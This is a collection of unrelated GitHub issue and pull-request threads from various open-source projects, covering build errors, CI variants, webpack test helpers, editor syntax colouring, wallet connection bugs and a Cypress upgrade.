If you add test cases, this would be merged i think, since #2930 is stale for few weeks

Can do.


Try/Catch responsive resizing - Fixes 592

Fixes #592

Any reason this is tagged for future?  I recommend 1.1

@jakesyl I think 1.1 if fine,

Discovered that this does not solve the problem.  Opening a new PR.


[0.13.0] Missing element-templates.css file

Describe the Bug
Updating to that version causes my project to not build: Error: Can't resolve './element-templates.css' in '/home/boris/project/node_modules/camunda-bpmn-js/dist/assets'. And indeed such a file doesn't exist. It is however imported in camunda-bpmn-js/dist/assets/camunda-cloud-modeler.css and camunda-bpmn-js/dist/assets/camunda-platform-modeler.css. I believe this is a bug.
Steps to Reproduce
See above.
Expected Behavior
No error.
Environment

OS: Linux
Modeler version: 0.13.0

@philippfromme Did we fall for https://github.com/camunda/camunda-bpmn-js/issues/105 again? :slightly_smiling_face:

Yes, I've prepared a fix for it: https://github.com/camunda/camunda-bpmn-js/pull/125


Document untagged and internally tagged enums

The attributes need to be listed in https://serde.rs/attributes.html and I would like to write some compelling examples as well. I intend to do this before releasing the feature.

Done in https://github.com/serde-rs/serde-rs.github.io/commit/1719b63eda2290a7e1539a3a405c6275ea433e65.


Android CI variants

Try to set an optimal set of builds from
https://en.wikipedia.org/wiki/Android_version_history
and
https://androiddistribution.io/#/

In Github seeing failures on 26 like

447
> Task :android-test:connectedDebugAndroidTest
448
Starting 0 tests on test(AVD) - 8.0.0
449
Tests on test(AVD) - 8.0.0 failed: Instrumentation run failed due to 'Process crashed.'

Warning: Failed to find package 'system-images;android-31;default;x86'

I've seen enough signs to indicate that different Android versions are flaky in different ways.  Going to land this to unblock using PRs + CI builds for Android related changes.

@swankjesse requesting post review

LGTM
Ahh, now reading the notes I understand. Makes sense.!

Sorry, I know I can be a bit disorganized with PRs.
The commit went in as "Reduce Android CI variants"
https://github.com/square/okhttp/commit/d0b795a87bb1976ed365dc2840a84e184a9fdea4


Publish arbitrary files via a right-click menu

It would be handy if there would be an easy way to host an arbitrary file (e.g. PDF) from the vault on the online digital garden. The current workaround is to use 3rd party storage and link using markdown-link to that file.

This would be helpful for me as well – I use the digital garden as a repository of information and a reference, so it would be great to be able to access my pdfs there as well


Add ability to specify target="_blank" in BannerText CTA

Describe the feature you'd like
Currently the link in a banner doesn't have the option to open in a new tab. I'd like to add a optional targetBlank property to the  link field in BannerText schema, as well as any changes to BannerText.tsx and its children that are needed to apply the target="_blank" attribute to LinkButton.tsx
Example of how this could look:
"targetBlank": {
    "type": "boolean",
    "title": "Open link in new window?",
    "default": false
}

Describe alternatives you've considered
It would be possible to override the BannerText section or create a custom version, but I think this change would be a good addition to the component

Hi @katrillion! Nice suggestion!
Feel free to create a pull request with this addition 🌟 Thank you!

Thanks for the contribution 🌟 ! Updates available on @faststore/core package version 2.2.37


timestamp disappears in white theme

hello @umutkorkmaaz,
I cloned the project and i can fix it but how can i run the project and don't you have any issue with ".markup-row" color too??

hello @umutkorkmaaz, I cloned the project and i can fix it but how can i run the project and don't you have any issue with ".markup-row" color too??

Thank you for your interest. But fixed at style: markup-panel component #3


Incorrect coloring of HTML elements containing hyphens

VSCode Version: 1.6.0
OS Version: Mac OSX 10.11.5

This just showed up after I updated to 1.6.0.
Steps to Reproduce:

Add an html element that includes a hyphen (-)
Everything after the first hyphen is colored like an attribute

Two users reported this in less than 12 hours - adding important to raise awarness

Same for OS Version: Windows_NT ia32 10.0.14393

@isidorn Now three.

Can confirm same for me on macOS Sierra 10.12

Same for OS Version: Windows_NT ia32 6.1.7601

Original issue: https://github.com/textmate/html.tmbundle/issues/46

Related upstream PR: https://github.com/textmate/html.tmbundle/pull/47


--require not working as expected

Thank you so much for this package!  It is making my testing workflow so much better!
I'm running into an issue with --require.  I have the following mocha-webpack.opts file:
--colors
--require client/__tests__/specHelper.js
--reporter spec
--webpack-config webpack.config.js
--glob *-spec.js
--recursive
client

My specHelper.js file is being required properly, but its effects are not being made visible to my tests when they run.
specHelper.js looks like this:
const chai = require('chai')
const chaiAsPromised = require('chai-as-promised')
const sinonChai = require('sinon-chai')

chai.use(chaiAsPromised)
chai.use(sinonChai)

When I run my tests, I get the error: TypeError: (0 , _chai.expect)(...).to.become is not a function, which means that chai-as-promised is not available.
When I previously ran my specs using mocha directly, the --require option worked as I expected.
If I rename specHelpler.js to specHelper-spec.js, then it works as I expect; however, if I run mocha-webpack with the --watch option and then change a test, I get the same error message again because the specHelper-spec.js file wasn't reloaded by --watch.
At this point, the only workaround I can think of is to explicitly import my spec helper into all of my test files.
I've had a look at the code, and I don't see any obvious problems with it.  Somehow it seems like the webpack-compiled code doesn't have access to the chai object that was configured by the spec helper.

Somehow it seems like the webpack-compiled code doesn't have access to the chai object that was configured by the spec helper.

Yep, that's the reason. This issue is caused by webpack when node_modules are not excluded from bundling. Then you have 2 versions of your node_modules and webpack uses it's own bundled version...

If I rename specHelpler.js to specHelper-spec.js, then it works as I expect; however, if I run mocha-webpack with the --watch option and then change a test, I get the same error message again because the specHelper-spec.js file wasn't reloaded by --watch.

This includes your specHelper to webpacks bundle and affects the used modules for the initial run. But when you change a file, webpack rebuilds the bundle and only those files which are affected by this change will be executed again.

Excluding node_modules feels more like a workaround, but it's the simplest solution for this issue. Have a look at webpack-node-externals to exclude them. The bundle process is also faster with this plugin ;)
For a real solution, we need to make sure that node & webpack shares their instances of modules - when needed.

I originally tried using webpack-node-externals as you show in the README, but ran into other issues.  I can't remember what they were off the top of my head, but I'll re-try that when I get a chance and report back.

OK, I've had a chance to re-investigate, and the problem was unrelated to this module.  We're using eslint-plugin-import, and when we use webpack-node-externals, the import/no-unresolved rule complains about every import statement we have in our codebase.

@zinserjan Do you have any ideas on how to accomplish what you said above?

For a real solution, we need to make sure that node & webpack shares their instances of modules - when needed.

I'm happy to try to work on a PR for this, but I'm not sure where to start with it.  If you could point me in a direction, I'll see what I can do.

Thought a lot about this the last days and I'm still not sure how to solve it...
The main problem is, that webpack creates it's own js bundle with all necessary modules. If we use --require some-code.js then "some-code.js" will be executed inside node's environment and all enhancements to modules are only applied in this env. Everything works fine until webpack bundles some of the used dependencies in "some-code.js" into it's own bundle.
Then the enhancements to this dependencies are lost, cause webpack uses it's own version/instance of this module... This behavior breaks your code when it depends on some enhancements like helper methods for chai.
I see the following solutions for this problem:

exclude used dependencies in --require files from webpack's bundle

dependencies are managed by node --> shared instances

include all --require calls also to webpack's bundle

code executes just twice --> nothing shared, but should work in the most cases
could lead to side effects when you need a shared or non-changing instance of a module

provide another command line option (--include) to prepend all supplied files to webpack's bundle.

--require can be used for run-time enhancements like mocha-clean
--include can be used to include some files into webpack's bundle like test helpers

The more I think about the first solution the more I come to the result, that there will probably never a bullet-proof solution for this. In theory it would be enough to externalize all used dependencies in -require files. But to implement this, we have to enhance the (existing) webpack config with some externals and this could break easily when there is already a externals helper defined that interact in some other way...
Second way feels more a like a hack than a solution.
Third is probably the way to go. It just includes the code into webpack's bundle, so it just works for use cases like spec helpers. Shared instances are also possible - with a custom externals configuration.
And for run-time enhancements there's still the --require option.
What do you think?

My knowledge of how webpack works is pretty weak, but I think option 3 sounds best as well.  What's not clear to me is whether the --include option will continue to work when using --watch.  If I --include my spec helper that configures some chai plugins, will those continue to be available in subsequent test runs, even if the spec helper doesn't get reloaded?  If the answer is yes, then --include addresses my use case.
I don't have enough knowledge or understanding of webpack to know whether there will be other undesirable effects of doing this.
I can try to come up with something along these lines when I get some open-source time, but if you see a clear path to implementing this, then go for it.

If I --include my spec helper that configures some chai plugins, will those continue to be available in subsequent test runs, even if the spec helper doesn't get reloaded?

Yes! That's the idea.
Added a PR for this. But before I'll merge this, I wanna test it on windows and try it with a real project.

I just tried out your PR branch on one of my projects, and it worked perfectly.  Thanks for that!  I don't have a Windows setup to test on, but consider it successful on a real project!

Cool. Windows looks good, too.
Released as 0.3.0

Updated all of my affected projects, and everything works great!  Thanks so much for solving this issue!


Remove display of error messages for file and keyword requirements from top of page

These are displaying fine as inline text at those fields in the form, so are just clutter up here now.

Done as part of #1388

This is no longer an issue.


Conv var

Theres is some mixup in the commit history, hopefully it will be possible to resolve it

Steps:

3 selected subsets - wood (easy), transistor (hard), grid (medium).
Pool them from 1024x2024 -> 256x256. Save this somewhere else.
Train end-to-end without any additional preprocessing or augmentation.


New version: Unity.Unity.2022 version 2022.3.39f1

Created by 🥟 Dumplings in workflow run #6826.

Log
Updated: 2022.3.38f1 → 2022.3.39f1
Submitting WinGet manifests
Creating manifests
Uploading manifests and making commits
Creating a pull request

Microsoft Reviewers: Open in CodeFlow

/azp run

https://github.com/microsoft/winget-pkgs/issues/142854


[test] translate="no" is not considered

Translating HTML from EN to DE using e-Translation where the input is HTML with translate="no" and the output format is turtle.
The request is:
curl -X POST --header "Content-Type: text/html" --header "Accept: text/turtle" -d "Welcome to Berlin." "http://api-dev.freme-project.eu/current/e-translation/tilde?source-lang=en&target-lang=de" -d @test.html -v

Where the test.html is

Welcome to Berlin, the capital of Germany.

Although the translate="no" is specified the text of the
 element is translated. It should not be translated.

my mistake in the request, sorry for the noise.


Error connecting to Coinbase wallet on mobile

I encountered such an error while connecting to my coinbae wallet in React Native.
My Provider
const activeChain = Ethereum;
return (
<ThirdwebProvider
activeChain={activeChain}
clientId={THIRD_WEB_PROJECT_ID}
supportedChains={[Ethereum]}
supportedWallets={[
walletConnect(),
metamaskWallet({
projectId: WALLET_CONNECT_PROJECT_ID,
recommended: true,
}),
rainbowWallet({
projectId: WALLET_CONNECT_PROJECT_ID,
}),
coinbaseWallet(),
trustWallet({
projectId: WALLET_CONNECT_PROJECT_ID,
}),
localWallet(),
]}>
.........

@mertcankose thanks for reporting this. Could you list the steps you took to get this screen? Does this page opens up when you select Coinbase?

@mertcankose thanks for reporting this. Could you list the steps you took to get this screen? Does this page opens up when you select Coinbase?

I select coinbase and press the allow button in the app, after pressing the allow button it redirects me here.

@mertcankose thanks for reporting this. Could you list the steps you took to get this screen? Does this page opens up when you select Coinbase?

I select coinbase and press the allow button in the app, after pressing the allow button it redirects me here.

Please, find below a couple of questions to better understand the issue:

You open your React Native app
You press the ConnectWallet button
(what is the allow button you press?)
I redirects you to the browser?

Could you share the version of the @thirdweb-dev/react-native package you're using?

@mertcankose thanks for reporting this. Could you list the steps you took to get this screen? Does this page opens up when you select Coinbase?

I select coinbase and press the allow button in the app, after pressing the allow button it redirects me here.

Please, find below a couple of questions to better understand the issue:

You open your React Native app
You press the ConnectWallet button
(what is the allow button you press?)
I redirects you to the browser?

Could you share the version of the @thirdweb-dev/react-native package you're using?

the allow button in the coinbase app gives me a pop up, it says the app wants to access the following information and as soon as I press allow it redirects me to another browser.
"@thirdweb-dev/react": "^4.0.8",
"@thirdweb-dev/react-native": "^0.3.13",
"@thirdweb-dev/react-native-compat": "^0.3.13",
"@thirdweb-dev/sdk": "^4.0.7",


Upgrade to Cypress 9

Description
Upgrade to Cypress 9, one small step towards Cypress 12.
Regarding the additional changes beyond the upgrade:

On commenting out the check for the email, the email is not show on the organization page any more. I'm not sure how it worked in Cypress 8; my guess it was a DOM element "left-over", that hadn't been cleaned out, from the previous dialog that did display the email.
On the force: true, not sure. The UI elements are there (I seem them), but Cypress says it can't type there because they're not (100%?) visible. The newer Cypress has a newer browser version with it, so I'm guessing it's related to that.

Review Instructions
Builds and smoke tests should run
Issue
https://ucsc-cgl.atlassian.net/browse/SEAB-5089
Please make sure that you've checked the following before submitting your pull request. Thanks!

[x] Check that your code compiles by running npm run build
[x] Ensure that the PR targets the correct branch. Check the milestone or fix version of the ticket.
[x] If this is the first time you're submitting a PR or even if you just need a refresher, consider reviewing our style guide
[x] Do not bypass Angular sanitization (bypassSecurityTrustHtml, etc.), or justify why you need to do so
[x] If displaying markdown, use the markdown-wrapper component, which does extra sanitization
[x] Do not use cookies, although this may change in the future
[x] Run npm audit and ensure you are not introducing new vulnerabilities
[x] Do due diligence on new 3rd party libraries, checking for CVEs
[x] Don't allow user-uploaded images to be served from the Dockstore domain
[x] If this PR is for a user-facing feature, create and link a documentation ticket for this feature (usually in the same milestone as the linked issue). Style points if you create a documentation PR directly and link that instead.
[x] Check whether this PR disables tests. If it legitimately needs to disable a test, create a new ticket to re-enable it in a specific milestone.

If the Cypress 10 PR #1669 passes tests, I'll close this one, as it includes the Cypress 9 commit. If it fails, I'll go ahead and merge this one, pending approvals.

On further reflection, going to merge this one first regardless, pending approval.


[Fix] Scopes constructor handle null parameter

WHY are these changes introduced?
Fixes #290

WHAT is this pull request doing?

Type of change

[x] Patch: Bug (non-breaking change which fixes an issue)
[ ] Minor: New feature (non-breaking change which adds functionality)
[ ] Major: Breaking change (fix or feature that would cause existing functionality to not work as expected)

Checklist

[x] I have added a changelog entry, prefixed by the type of change noted above
[ ] I have added/updated tests for this change
[ ] I have updated the documentation for public APIs from the library (if applicable)

I have signed the CLA!


Support for multiple instances

Is there a suggested way of supporting multiple postfix instances on one host?
Currently it seems I'd need a separate postfix_exporter for each postfix instance, and have to add the instance name in Prometheus scrape configuration.

An option is to configure syslog to write mail log into one logfile as mentioned in the readme, but then you lose the instance information.
Our advise is to have a separate postfix_exporter per instance.

I'd say so as well. If you can run multiple postfix instances on a machine (for which I also don't really understand the use case, tbh), having an exporter for each shouldn't be a problem either.

After some tries using this exporter in Postfix multiple instances environment I wrote own exporter for queue state.
github.com/olvsa/postqueue_jq